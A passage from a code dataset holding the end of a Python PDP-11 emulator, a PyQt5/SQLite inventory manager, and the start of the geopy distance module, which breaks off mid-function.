self.dst()\n\n if self.operation_mode == \"byte\" :\n self.register.n = pdp11_util.is_negative(result, 8)\n self.register.z = pdp11_util.is_zero(result, 8)\n else :\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n\n self.register.v = False\n self.register.c = False\n\n elif instruction['opcode'] == \"neg\" :\n result = (-self.dst())&0xffff\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n\n if self.operation_mode == \"byte\" :\n self.register.v = (result&0xff) == 0x80\n else :\n self.register.v = (result&0xffff) == 0x8000\n\n self.register.c = (result&0xffff) != 0\n\n self.dst(result)\n\n elif instruction['opcode'] == \"com\" :\n result = ~self.dst()\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = False\n self.register.c = True\n\n self.dst(result)\n\n elif instruction['opcode'] == \"ror\" :\n dst = self.dst()\n result = dst>>1\n\n if self.operation_mode == \"byte\" :\n self.register.n = pdp11_util.is_negative(result, 8)\n self.register.z = pdp11_util.is_zero(result, 8)\n self.register.c = bool(dst&1)\n self.register.v = self.register.n != self.register.c\n else :\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.c = bool(dst&1)\n self.register.v = self.register.n != self.register.c\n\n self.dst(result)\n\n elif instruction['opcode'] == \"rol\" :\n dst = self.dst()\n result = dst<<1\n\n if self.operation_mode == \"byte\" :\n self.register.n = pdp11_util.is_negative(result, 8)\n self.register.z = pdp11_util.is_zero(result, 8)\n self.register.c = bool(dst&(1<<8))\n self.register.v = self.register.n != self.register.c\n else :\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.c = bool(dst&(1<<16))\n self.register.v = self.register.n != self.register.c\n\n self.dst(result)\n\n\n elif instruction['opcode'] == \"asr\" :\n dst = self.dst()\n result = dst>>1\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.c = bool(dst&0x1)\n self.register.v = self.register.n != self.register.c\n\n self.dst(result)\n elif instruction['opcode'] == \"asl\" :\n dst = self.dst()\n result = dst<<1\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.c = (dst&0xffff) >= 0x8000\n self.register.v = self.register.n != self.register.c\n\n self.dst(result)\n\n elif instruction['opcode'] == \"swab\" :\n dst = self.dst()\n dst_h = (self.dst()>>8) & 0xff\n dst_l = self.dst()&0xff\n result = (dst_l<<8) + dst_h\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = False\n self.register.c = False\n\n self.dst(result)\n elif instruction['opcode'] == \"sxt\" :\n if self.register.n :\n result = -1\n else :\n result = 0\n\n self.register.z = self.register.n == False\n self.register.v = False\n\n self.dst(result)\n\n elif instruction['opcode'] == \"mul\" :\n s = self.src()\n if (s&0xffff) >= 0x8000 :\n s -= 0x8000\n result = self.reg()*s\n\n self.register.n = (result&0xffffffff) >= 0x80000000\n self.register.z = result == 0\n self.register.v = False\n self.register.c = result < -0x8000 or 0x7fff <= result\n\n self.reg(result, dword=True)\n\n elif instruction['opcode'] == \"div\" :\n d = self.reg(dword=True)\n if (d&0xffffffff) >= 0x80000000 :\n d -= 0x80000000\n\n result = d//self.src()\n result2 = d%self.src()\n \n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = self.src() == 0 or result >= 0x100000000\n self.register.c = self.src() == 0\n\n self.reg((result<<16)+result2, dword=True)\n\n elif instruction['opcode'] == \"ash\" :\n dst = self.reg()\n nn = pdp11_util.uint6toint6((self.src()&0x3f))\n result = pdp11_util.bitshift_uint16(dst, nn)\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = (result&0x8000) != (dst&0x8000)\n\n if 0 < nn :\n self.register.c = (dst>>(16-nn))&1\n elif nn < 0 :\n self.register.c = (dst>>(abs(nn)-1))&1\n else :\n self.register.c = False\n\n self.reg(result)\n\n elif instruction['opcode'] == \"ashc\" :\n dst = self.reg(dword=True)\n nn = pdp11_util.uint6toint6((self.src()&0x3f))\n result = pdp11_util.bitshift_uint32(dst, nn)\n\n self.register.n = pdp11_util.is_negative(result, 32)\n self.register.z = pdp11_util.is_zero(result, 32)\n self.register.v = (result&0x80000000) != (dst&0x80000000)\n \n if 0 < nn :\n self.register.c = (dst>>(32-nn))&1\n elif nn < 0 :\n self.register.c = (dst>>(abs(nn)-1))&1\n else :\n self.register.c = False\n\n self.reg(result, dword=True)\n\n elif instruction['opcode'] == \"xor\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n elif instruction['opcode'] == \"mov\" :\n result = self.src()\n if self.operation_mode == \"byte\" :\n if result&0x80 :\n result |= 0xff00\n else :\n result &= 0x00ff\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = False\n\n self.dst(result)\n\n elif instruction['opcode'] == \"add\" :\n src = self.src()\n dst = self.dst()\n result = src+dst\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = ((0x8000 & src) == (0x8000 & dst) and (0x8000 & result) != (0x8000 & dst))\n self.register.c = result & 0x10000\n\n self.dst(result)\n\n elif instruction['opcode'] == \"sub\" :\n src = self.src()\n dst = self.dst()\n result = dst+((~src)&0xffff)+1\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = ((0x8000 & src) != (0x8000 & dst) and (0x8000 & result) != (0x8000 & dst))\n self.register.c = result < 0x10000\n\n self.dst(result)\n\n elif instruction['opcode'] == \"cmp\" :\n src = self.src()\n dst = self.dst()\n if self.operation_mode == \"byte\" :\n result = src +((~dst)&0xff)+1\n\n self.register.n = pdp11_util.is_negative(result, 8)\n self.register.z = pdp11_util.is_zero(result, 8)\n self.register.v = ((0x80 & src) != (0x80 & dst) and (0x80 & result) == (0x80 & dst))\n self.register.c = result < 0x100\n\n else :\n result = src+((~dst)&0xffff)+1\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = ((0x8000 & src) != (0x8000 & dst) and (0x8000 & result) == (0x8000 & dst))\n self.register.c = result < 0x10000 \n\n elif instruction['opcode'] == \"bis\" :\n result = self.src()|self.dst()\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = False\n\n self.dst(result)\n\n elif instruction['opcode'] == \"bic\" :\n result = (~self.src())&self.dst()\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = False\n\n self.dst(result)\n\n elif instruction['opcode'] == \"bit\" :\n result = self.src()&self.dst()\n\n if self.operation_mode == \"byte\" :\n self.register.n = pdp11_util.is_negative(result, 8)\n self.register.z = pdp11_util.is_zero(result, 8)\n else :\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n\n self.register.v = False\n\n elif instruction['opcode'] == \"br\" :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bne\" :\n if self.register.z == False :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"beq\" :\n if self.register.z == True :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bpl\" :\n if self.register.n == False :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bmi\" :\n if self.register.n == True :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bvc\" :\n if self.register.v == False :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bvs\" :\n if self.register.v == True :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bcc\" :\n if self.register.c == False :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bcs\" :\n if self.register.c == True :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bge\" :\n if ( (self.register.n != self.register.v) == False) :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"blt\" :\n if ( (self.register.n != self.register.v) == True) :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bgt\" :\n if ( self.register.z or\n (self.register.n != self.register.v)) == False :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"ble\" :\n if ( self.register.z or\n (self.register.n != self.register.v)) == True:\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"bhi\" :\n if ( self.register.c == False and self.register.z == False ) :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"blos\" :\n if ( self.register.c == True or self.register.z == True ) :\n self.register[7] += 2*offset\n\n elif instruction['opcode'] == \"jmp\" :\n addr = self.dst.addr()\n self.register[7] = addr\n\n elif instruction['opcode'] == \"sob\" :\n result = self.reg()-1\n addr = self.dst.raw_value\n\n if (result&0xffff) != 0 :\n self.register[7] -= 2*addr\n\n self.reg(result)\n\n elif instruction['opcode'] == \"jsr\" :\n addr = self.dst.addr()\n self.push(self.register[instruction['operand']['r']])\n self.reg(self.register[7])\n self.register[7] = addr\n\n elif instruction['opcode'] == \"rts\" :\n self.register[7] = self.register[instruction['operand']['r']]\n self.register[instruction['operand']['r']] = self.pop()\n\n elif instruction['opcode'] == \"rti\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n\n elif instruction['opcode'] == \"rpt\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n\n elif instruction['opcode'] == \"iot\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n\n elif instruction['opcode'] == \"sys\" :\n x = instruction['operand']['x']\n y = instruction['operand']['y']\n z = instruction['operand']['z']\n self.sys((y<<3)+z)\n\n elif instruction['opcode'] == \"rtt\" :\n addr = self.pop()\n self.register[7] = addr\n\n elif instruction['opcode'] == \"cfcc\" :\n pass\n\n elif instruction['opcode'] == \"setf\" :\n pass\n\n elif instruction['opcode'] == \"seti\" :\n pass\n\n elif instruction['opcode'] == \"setd\" :\n pass\n\n elif instruction['opcode'] == \"setl\" :\n pass\n\n else :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n\n else :\n raise\n\n def run(self, limit=None) :\n if self.debug :\n self.debug.write(\" r0 r1 r2 r3 r4 r5 sp flags pc\\n\")\n i = 0\n while True :\n try :\n self.step()\n except SysExit :\n break\n finally :\n if self.debug :\n self.debug.write(self.get_state_text()+\"\\n\")\n i += 1\n if limit is not None and i == limit : break\n\n def sys_exec(self, args) :\n self.memory.setMode(\"byte\")\n # initialize\n self.memory.resetByZero()\n # register\n for i in range(8) :\n self.register[i] = 0\n\n # load program\n f = open(pdp11_util.chpath(args[0]), 'rb')\n program = list(f.read())\n if six.PY2 : program = map(ord, program)\n self.aout = pdp11_aout.getAout(program)\n self.memory.load(self.aout['text'] + self.aout['data'])\n self.register[7] = self.aout['header']['a_entry']\n\n # set argv\n argc = [len(args)&0xff, (len(args)>>8)&0xff]\n address = 0x10000 - len(list(map(ord, '\\0'.join(args)+'\\0')))\n argv = []\n data = []\n\n align_flag = False\n if address%2 == 1 :\n address -= 1\n align_flag = True\n\n for arg in args :\n data += list(map(ord, arg+'\\0'))\n argv += [address&0xff, (address>>8)&0xff]\n address += len(arg)+1\n\n if align_flag :\n data += [0]\n\n self.memory.load(argc+argv+data, 0x10000-len(argc+argv+data))\n self.register[6] = 0x10000-len(argc+argv+data)\n\n self.sighandler = 0\n\n def load(self, args) :\n self.sys_exec(args)\n\n def get_state_text(self) :\n text = \"\"\n\n if self.symbol :\n text += self.symbol+\":\\n\"\n\n text += self.state + self.disassemble\n\n if self.src.memory_dump : text += self.src.memory_dump\n if self.dst.memory_dump : text += self.dst.memory_dump\n if self.reg.memory_dump : text += self.reg.memory_dump\n\n if self.syscall:\n text += \"\\n\"+self.syscall\n\n return text\n\nif __name__ == '__main__':\n vm = VM()\n vm.debug=sys.stderr\n vm.load(['/usr/local/v6root/bin/as', 'write-1.s'])\n vm.run()\n\n","repo_name":"miettal/pypdp11simulator","sub_path":"pdp11_vm.py","file_name":"pdp11_vm.py","file_ext":"py","file_size_in_byte":37265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37220743852","text":"# ==============================================================================\n# Name: inv_mgr.py\n# Author: Bloom, Matthew \n# Date: 02/24/2020\n# Revision: 1.0.0\n#\n# ==============================================================================\n# Description\n# ------------------------------------------------------------------------------\n# Fastener inventory manager that can browse current inventory from a database,\n# add to it, an modify entries.\n#\n# ==============================================================================\n# History\n# ------------------------------------------------------------------------------\n# Revision on https://github.com/mbloom88/inv-mgr\n# \n# ==============================================================================\n\n# ==============================================================================\n# IMPORTS\n# ==============================================================================\n\n# Standard\nfrom functools import partial\nimport sqlite3\nimport sys\n\n# 3rd-Party\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QTableWidgetItem\n\n# Local\nfrom ui.MainWindow import Ui_MainWindow\nfrom ui import images_rc\n\n# ==============================================================================\n# CLASSES\n# ==============================================================================\n\nclass MainWindow(QMainWindow, Ui_MainWindow): # BaseClass, UiClass\n \n # Navigation directions\n FIRST = 0\n PREV = 1\n NEXT = 2\n LAST = 3\n\n # ==========================================================================\n # CONSTRUCTORS\n # ==========================================================================\n\n def __init__(self, parent=None):\n app = QApplication(sys.argv)\n super(MainWindow, self).__init__(parent)\n self.setupUi(self)\n self._connect_buttons()\n self.table_inv_idx = 0\n self._event_navigate_db(self.FIRST)\n\n self.show()\n sys.exit(app.exec_())\n\n # ==========================================================================\n # PROTECTED METHODS\n # ==========================================================================\n\n def _connect_buttons(self):\n \"\"\"\n Connects all buttons in the Inventory Manager.\n \"\"\"\n self.btn_refresh.clicked.connect(self._event_refresh_db)\n self.btn_search.clicked.connect(self._event_search_db)\n self.btn_check.clicked.connect(self._event_check_db)\n self.btn_update.clicked.connect(self._event_update_db_item)\n self.btn_del.clicked.connect(self._event_delete_db_item)\n self.btn_add.clicked.connect(self._event_add_db_item)\n self.btn_first.clicked.connect(partial(self._event_navigate_db, \n self.FIRST))\n self.btn_prev.clicked.connect(partial(self._event_navigate_db, \n self.PREV))\n self.btn_next.clicked.connect(partial(self._event_navigate_db, \n self.NEXT))\n self.btn_last.clicked.connect(partial(self._event_navigate_db, \n self.LAST))\n\n #---------------------------------------------------------------------------\n\n def _connect_db(self):\n \"\"\"\n Establishes a connection to the SQLite3 database.\n\n Returns:\n - db: SQLite3 database.\n\n \"\"\"\n try:\n db = sqlite3.connect(\"db/parts.db\")\n except Error as e:\n print(e)\n\n return db\n\n #---------------------------------------------------------------------------\n\n def _update_table(self, result, table):\n \"\"\"\n Updates the Inventory Details table with database information.\n\n Args:\n - result: database results from SQLite3 command.\n - table: the QTableWidget to modify.\n \"\"\"\n table.setRowCount(0)\n\n for row_num, row_data in enumerate(result):\n table.insertRow(row_num)\n \n for col_num, cell_data in enumerate(row_data):\n new_item = QTableWidgetItem(str(cell_data))\n table.setItem(row_num, col_num, new_item)\n\n # ==========================================================================\n # EVENTS\n # ==========================================================================\n\n def _event_add_db_item(self):\n \"\"\"\n Add a line item in the database.\n \"\"\"\n db = self._connect_db()\n \n if not db:\n return\n\n cursor = db.cursor()\n row = (\n self.edit_ref.text(),\n self.edit_part_name.text(),\n self.edit_min_area.text(),\n self.edit_max_area.text(),\n self.edit_num_holes.value(),\n self.edit_min_dia.text(),\n self.edit_max_dia.text(),\n self.edit_count.value(),\n )\n cmd = '''INSERT INTO parts_table (ref, part_name, min_area, \n max_area, num_holes, min_dia, max_dia, count) VALUES (?, ?, ?, ?, \n ?, ?, ?, ?)'''\n cursor.execute(cmd, row)\n\n db.commit()\n db.close()\n\n #---------------------------------------------------------------------------\n\n def _event_check_db(self):\n \"\"\"\n Checks the database for the top three references with the lowest \n count.\n \"\"\"\n db = self._connect_db()\n\n if not db:\n return\n\n cursor = db.cursor()\n cmd = '''SELECT ref, part_name, count from parts_table order by count \n asc LIMIT 3'''\n result = cursor.execute(cmd)\n self._update_table(result, self.table_top_3)\n \n #---------------------------------------------------------------------------\n\n def _event_delete_db_item(self):\n \"\"\"\n Delete a line item in the database.\n \"\"\"\n db = self._connect_db()\n \n if not db:\n return\n\n cursor = db.cursor()\n del_id = self.edit_id.text()\n cmd = ''' DELETE FROM parts_table WHERE id=?'''\n cursor.execute(cmd, del_id)\n\n db.commit()\n db.close()\n\n #---------------------------------------------------------------------------\n\n def _event_navigate_db(self, direction):\n \"\"\"\n Navigates the database based on the current Table Inventory index.\n\n Args:\n -direction: Direction to navigate.\n \"\"\"\n db = self._connect_db()\n\n if not db:\n return\n\n cursor = db.cursor()\n cmd = '''SELECT * from parts_table'''\n result = cursor.execute(cmd)\n vals = result.fetchall()\n total_entries = len(vals)\n\n if direction == self.FIRST:\n self.table_inv_idx = 0\n elif direction == self.PREV:\n self.table_inv_idx -= 1\n if self.table_inv_idx < 0:\n self.table_inv_idx = total_entries - 1\n elif direction == self.NEXT:\n self.table_inv_idx += 1\n if self.table_inv_idx == total_entries:\n self.table_inv_idx = 0\n elif direction == self.LAST:\n self.table_inv_idx = total_entries - 1\n else:\n return\n\n val = vals[self.table_inv_idx] \n\n self.edit_id.setText(str(val[0]))\n self.edit_ref.setText(str(val[1]))\n self.edit_part_name.setText(str(val[2]))\n self.edit_min_area.setText(str(val[3]))\n self.edit_max_area.setText(str(val[4]))\n self.edit_num_holes.setValue(val[5])\n self.edit_min_dia.setText(str(val[6]))\n self.edit_max_dia.setText(str(val[7]))\n self.edit_count.setValue(val[8])\n\n db.commit()\n db.close() \n\n #---------------------------------------------------------------------------\n \n def _event_refresh_db(self):\n \"\"\"\n Refreshes the Inventory Details table and the statistics shown in \n Inventory Statistics.\n \"\"\"\n db = self._connect_db()\n\n if not db:\n return\n\n cursor_1 = db.cursor()\n cmd_1 = '''SELECT * from parts_table'''\n result_1 = cursor_1.execute(cmd_1)\n self._update_table(result_1, self.table_inv)\n\n cursor_2 = db.cursor()\n cmd_2 = '''SELECT COUNT (DISTINCT ref) from parts_table'''\n result_2 = cursor_2.execute(cmd_2)\n self.num_ref.setText(str(result_2.fetchone()[0]))\n\n cursor_3 = db.cursor()\n cmd_3 = '''SELECT COUNT (DISTINCT part_name) from parts_table'''\n result_3 = cursor_3.execute(cmd_3)\n self.num_parts.setText(str(result_3.fetchone()[0]))\n\n cursor_4 = db.cursor()\n cmd_4 = '''SELECT MIN(num_holes), ref from parts_table'''\n temp_result_4 = cursor_4.execute(cmd_4)\n result_4 = temp_result_4.fetchone()\n self.min_num_holes.setText(str(result_4[0]))\n self.min_num_holes_ref.setText(str(result_4[1]))\n \n cursor_5 = db.cursor()\n cmd_5 = '''SELECT MAX(num_holes), ref from parts_table'''\n temp_result_5 = cursor_5.execute(cmd_5)\n result_5 = temp_result_5.fetchone()\n self.max_num_holes.setText(str(result_5[0])) \n self.max_num_holes_ref.setText(str(result_5[1])) \n\n db.commit()\n db.close()\n\n #---------------------------------------------------------------------------\n\n def _event_search_db(self):\n \"\"\"\n Searches for line items with a specific count in the Inventory Details\n table.\n \"\"\"\n db = self._connect_db()\n\n if not db:\n return\n\n cursor = db.cursor()\n num = self.count_num.value()\n cmd = '''SELECT * from parts_table WHERE count<=?'''\n result = cursor.execute(cmd, [num])\n self._update_table(result, self.table_inv)\n\n db.commit()\n db.close()\n\n #---------------------------------------------------------------------------\n\n def _event_update_db_item(self):\n \"\"\"\n Update a line item in the database.\n \"\"\"\n db = self._connect_db()\n \n if not db:\n return\n\n cursor = db.cursor()\n row = (\n self.edit_ref.text(),\n self.edit_part_name.text(),\n self.edit_min_area.text(),\n self.edit_max_area.text(),\n self.edit_num_holes.value(),\n self.edit_min_dia.text(),\n self.edit_max_dia.text(),\n self.edit_count.value(),\n self.edit_id.text(),\n )\n cmd = '''UPDATE parts_table SET ref=?, part_name=?, min_area=?, \n max_area=?, num_holes=?, min_dia=?, max_dia=?, count=? WHERE id=?'''\n cursor.execute(cmd, row)\n\n db.commit()\n db.close()\n\n# ==============================================================================\n# MAIN\n# ==============================================================================\nif __name__ == '__main__':\n main_window = MainWindow()\n","repo_name":"mbloom88/inv-mgr","sub_path":"src/inv_mgr.py","file_name":"inv_mgr.py","file_ext":"py","file_size_in_byte":10834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39284944792","text":"from math import atan, tan, sin, cos, pi, sqrt, atan2, acos, asin\nfrom geopy.units import radians\nfrom geopy import units, util\nfrom geopy.point import Point\n\n# Average great-circle radius in kilometers, from Wikipedia.\n# Using a sphere with this radius results in an error of up to about 0.5%.\nEARTH_RADIUS = 6372.795\n\n# From http://www.movable-type.co.uk/scripts/LatLongVincenty.html:\n# The most accurate and widely used globally-applicable model for the earth\n# ellipsoid is WGS-84, used in this script. Other ellipsoids offering a\n# better fit to the local geoid include Airy (1830) in the UK, International\n# 1924 in much of Europe, Clarke (1880) in Africa, and GRS-67 in South\n# America. America (NAD83) and Australia (GDA) use GRS-80, functionally\n# equivalent to the WGS-84 ellipsoid.\nELLIPSOIDS = {\n # model major (km) minor (km) flattening\n 'WGS-84': (6378.137, 6356.7523142, 1 / 298.257223563),\n 'GRS-80': (6378.137, 6356.7523141, 1 / 298.257222101),\n 'Airy (1830)': (6377.563396, 6356.256909, 1 / 299.3249646),\n 'Intl 1924': (6378.388, 6356.911946, 1 / 297.0),\n 'Clarke (1880)': (6378.249145, 6356.51486955, 1 / 293.465),\n 'GRS-67': (6378.1600, 6356.774719, 1 / 298.25)\n}\n\nclass Distance(object):\n def __init__(self, *args, **kwargs):\n kilometers = kwargs.pop('kilometers', 0)\n if len(args) == 1:\n # if we only get one argument we assume\n # it's a known distance instead of \n # calculating it first\n kilometers += args[0]\n elif len(args) > 1:\n for a, b in util.pairwise(args):\n kilometers += self.measure(a, b)\n \n kilometers += units.kilometers(**kwargs)\n self.__kilometers = kilometers\n \n def __add__(self, other):\n if isinstance(other, Distance):\n return self.__class__(self.kilometers + other.kilometers)\n else:\n raise TypeError(\n \"Distance instance must be added with Distance instance.\"\n )\n \n def __neg__(self):\n return self.__class__(-self.kilometers)\n \n def __sub__(self, other):\n return self + -other\n \n def __mul__(self, other):\n return self.__class__(self.kilometers * other)\n \n def __div__(self, other):\n if isinstance(other, Distance):\n return self.kilometers / other.kilometers\n else:\n return self.__class__(self.kilometers / other)\n \n def __abs__(self):\n return self.__class__(abs(self.kilometers))\n \n def __nonzero__(self):\n return bool(self.kilometers)\n \n def measure(self, a, b):\n raise NotImplementedError\n\n def __repr__(self):\n return 'Distance(%s)' % self.kilometers\n \n def __str__(self):\n return '%s km' % self.__kilometers\n \n def __cmp__(self, other):\n if isinstance(other, Distance):\n return cmp(self.kilometers, other.kilometers)\n else:\n return cmp(self.kilometers, other)\n \n @property\n def kilometers(self):\n return self.__kilometers\n \n @property\n def km(self):\n return self.kilometers\n \n @property\n def meters(self):\n return units.meters(kilometers=self.kilometers)\n \n @property\n def m(self):\n return self.meters\n \n @property\n def miles(self):\n return units.miles(kilometers=self.kilometers)\n \n @property\n def mi(self):\n return self.miles\n \n @property\n def feet(self):\n return units.feet(kilometers=self.kilometers)\n\n @property\n def ft(self):\n return self.feet\n \n @property\n def nautical(self):\n return units.nautical(kilometers=self.kilometers)\n\n @property\n def nm(self):\n return self.nautical\n\n\nclass GreatCircleDistance(Distance):\n \"\"\"\n Use spherical geometry to calculate the surface distance between two\n geodesic points. This formula can be written many different ways,\n including just the use of the spherical law of cosines or the haversine\n formula.\n \n The class attribute `RADIUS` indicates which radius of the earth to use,\n in kilometers. The default is to use the module constant `EARTH_RADIUS`,\n which uses the average great-circle radius.\n \n \"\"\"\n \n RADIUS = EARTH_RADIUS\n \n def measure(self, a, b):\n a, b = Point(a), Point(b)\n\n lat1, lng1 = radians(degrees=a.latitude), radians(degrees=a.longitude)\n lat2, lng2 = radians(degrees=b.latitude), radians(degrees=b.longitude)\n \n sin_lat1, cos_lat1 = sin(lat1), cos(lat1)\n sin_lat2, cos_lat2 = sin(lat2), cos(lat2)\n \n delta_lng = lng2 - lng1\n cos_delta_lng, sin_delta_lng = cos(delta_lng), sin(delta_lng)\n \n central_angle = acos(\n # We're correcting from floating point rounding errors on very-near and exact points here\n min(1.0, sin_lat1 * sin_lat2 +\n cos_lat1 * cos_lat2 * cos_delta_lng))\n \n # From http://en.wikipedia.org/wiki/Great_circle_distance:\n # Historically, the use of this formula was simplified by the\n # availability of tables for the haversine function. Although this\n # formula is accurate for most distances, it too suffers from\n # rounding errors for the special (and somewhat unusual) case of\n # antipodal points (on opposite ends of the sphere). A more\n # complicated formula that is accurate for all distances is: (below)\n \n d = atan2(sqrt((cos_lat2 * sin_delta_lng) ** 2 +\n (cos_lat1 * sin_lat2 -\n sin_lat1 * cos_lat2 * cos_delta_lng) ** 2),\n sin_lat1 * sin_lat2 + cos_lat1 * cos_lat2 * cos_delta_lng)\n \n return self.RADIUS * d\n\n def destination(self, point, bearing, distance=None):\n point = Point(point)\n lat1 = units.radians(degrees=point.latitude)\n lng1 = units.radians(degrees=point.longitude)\n bearing = units.radians(degrees=bearing)\n\n if distance is None:\n distance = self\n if isinstance(distance, Distance):\n distance = distance.kilometers\n\n d_div_r = float(distance) / self.RADIUS\n\n lat2 = asin(\n sin(lat1) * cos(d_div_r) +\n cos(lat1) * sin(d_div_r) * cos(bearing)\n )\n\n lng2 = lng1 + atan2(\n sin(bearing) * sin(d_div_r) * cos(lat1),\n cos(d_div_r) - sin(lat1) * sin(lat2)\n )\n\n return Point(units.degrees(radians=lat2), units.degrees(radians=lng2))\n\n\nclass VincentyDistance(Distance):\n \"\"\"\n Calculate the geodesic distance between two points using the formula\n devised by Thaddeus Vincenty, with an accurate ellipsoidal model of the\n earth.\n\n The class attribute `ELLIPSOID` indicates which ellipsoidal model of the\n earth to use. If it is a string, it is looked up in the `ELLIPSOIDS`\n dictionary to obtain the major and minor semiaxes and the flattening.\n Otherwise, it should be a tuple with those values. The most globally\n accurate model is WGS-84. See the comments above the `ELLIPSOIDS`\n dictionary for more information.\n \n \"\"\"\n\n ELLIPSOID = 'WGS-84'\n \n def measure(self, a, b):\n a, b = Point(a), Point(b)\n lat1, lng1 = radians(degrees=a.latitude), radians(degrees=a.longitude)\n lat2, lng2 = radians(degrees=b.latitude), radians(degrees=b.longitude)\n\n if isinstance(self.ELLIPSOID, basestring):\n major, minor, f = ELLIPSOIDS[self.ELLIPSOID]\n else:\n major, minor, f = self.ELLIPSOID\n\n delta_lng = lng2 - lng1\n\n reduced_lat1 = atan((1 - f) * tan(lat1))\n reduced_lat2 = atan((1 - f) * tan(lat2))\n\n sin_reduced1, cos_reduced1 = sin(reduced_lat1), cos(reduced_lat1)\n sin_reduced2, cos_reduced2 = sin(reduced_lat2), cos(reduced_lat2)\n\n lambda_lng = delta_lng\n lambda_prime = 2 * pi\n\n iter_limit = 20\n\n while abs(lambda_lng - lambda_prime) > 10e-12 and iter_limit > 0:\n sin_lambda_lng, cos_lambda_lng = sin(lambda_lng), cos(lambda_lng)\n\n sin_sigma = sqrt(\n (cos_reduced2 * sin_lambda_lng) ** 2 +\n (cos_reduced1 * sin_reduced2 -\n sin_reduced1 * cos_reduced2 * cos_lambda_lng) ** 2\n )\n\n if sin_sigma == 0:\n return 0 # Coincident points\n\n cos_sigma = (\n sin_reduced1 * sin_reduced2 +\n cos_reduced1 * cos_reduced2 * cos_lambda_lng\n )\n\n sigma = atan2(sin_sigma, cos_sigma)\n\n sin_alpha = (\n cos_reduced1 * cos_reduced2 * sin_lambda_lng / sin_sigma\n )\n cos_sq_alpha = 1 - sin_alpha ** 2\n\n if cos_sq_alpha != 0:\n cos2_sigma_m = cos_sigma - 2 * (\n sin_reduced1 * sin_reduced2 / cos_sq_alpha\n )\n else:\n cos2_sigma_m = 0.0 # Equatorial line\n\n C = f / 16. * cos_sq_alpha * (4 + f * (4 - 3 * cos_sq_alpha))\n\n lambda_prime = lambda_lng\n lambda_lng = (\n delta_lng + (1 - C) * f * sin_alpha * (\n sigma + C * sin_sigma * (\n cos2_sigma_m + C * cos_sigma * (\n -1 + 2 * cos2_sigma_m ** 2\n )\n )\n )\n )\n iter_limit -= 1\n\n if iter_limit == 0:\n raise ValueError(\"Vincenty formula failed to converge!\")\n\n u_sq = cos_sq_alpha * (major ** 2 - minor ** 2) / minor ** 2\n\n A = 1 + u_sq / 16384. * (\n 4096 + u_sq * (-768 + u_sq * (320 - 175 * u_sq))\n )\n\n B = u_sq / 1024. * (256 + u_sq * (-128 + u_sq * (74 - 47 * u_sq)))\n\n delta_sigma = (\n B * sin_sigma * (\n cos2_sigma_m + B / 4. * (\n cos_sigma * (\n -1 + 2 * cos2_sigma_m ** 2\n ) - B / 6. * cos2_sigma_m * (\n -3 + 4 * sin_sigma ** 2\n ) * (\n -3 + 4 * cos2_sigma_m ** 2\n )\n )\n )\n )\n\n s = minor * A * (sigma - delta_sigma)\n return s\n\n def destination(self, point, bearing, distance=None):\n point = Point(point)\n lat1 = units.radians(degrees=point.latitude)\n lng1 = units.radians(degrees=point.longitude)\n bearing = units.radians(degrees=bearing)\n\n if distance is None:\n distance = self\n if isinstance(distance, Distance):\n distance = 